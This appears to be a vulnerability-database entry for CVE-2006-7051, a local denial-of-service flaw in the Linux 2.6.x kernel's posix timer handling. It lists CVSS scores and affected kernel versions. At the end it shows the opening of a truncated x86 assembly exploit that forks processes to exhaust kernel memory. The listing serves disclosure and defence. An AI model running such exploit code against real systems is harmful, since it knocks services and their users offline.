4.9
CVSSv2

CVE-2006-7051

Published: 24/02/2007 Updated: 30/10/2018
CVSS v2 Base Score: 4.9 | Impact Score: 6.9 | Exploitability Score: 3.9
VMScore: 495
Vector: AV:L/AC:L/Au:N/C:N/I:N/A:C

Vulnerability Summary

The sys_timer_create function in posix-timers.c for Linux kernel 2.6.x allows local users to cause a denial of service (memory consumption) and possibly bypass memory limits or cause other processes to be killed by creating a large number of posix timers, which are allocated in kernel memory but are not treated as part of the process' memory.

Vulnerable Product Search on Vulmon Subscribe to Product

linux linux kernel 2.6.18.3

linux linux kernel 2.6.18.4

linux linux kernel 2.6.19.3

linux linux kernel 2.6.19.4

linux linux kernel 2.6.18.7

linux linux kernel 2.6.19

linux linux kernel 2.6.18.0

linux linux kernel 2.6.18.1

linux linux kernel 2.6.18.2

linux linux kernel 2.6.19.1

linux linux kernel 2.6.19.2

linux linux kernel 2.6.18.5

linux linux kernel 2.6.18.6

linux linux kernel 2.6.20

linux linux kernel 2.6.20.1

Exploits

;nasm -f elf noHeavenasm ;ld -s -o noHeaven noHeaveno section text global _start count equ 8 ; threads count - do it quicker _start: mov ebx, count call create_threads jmp done _pause: mov eax,29 int 0x80 ret create_threads: mov eax,2 int 0x80 ...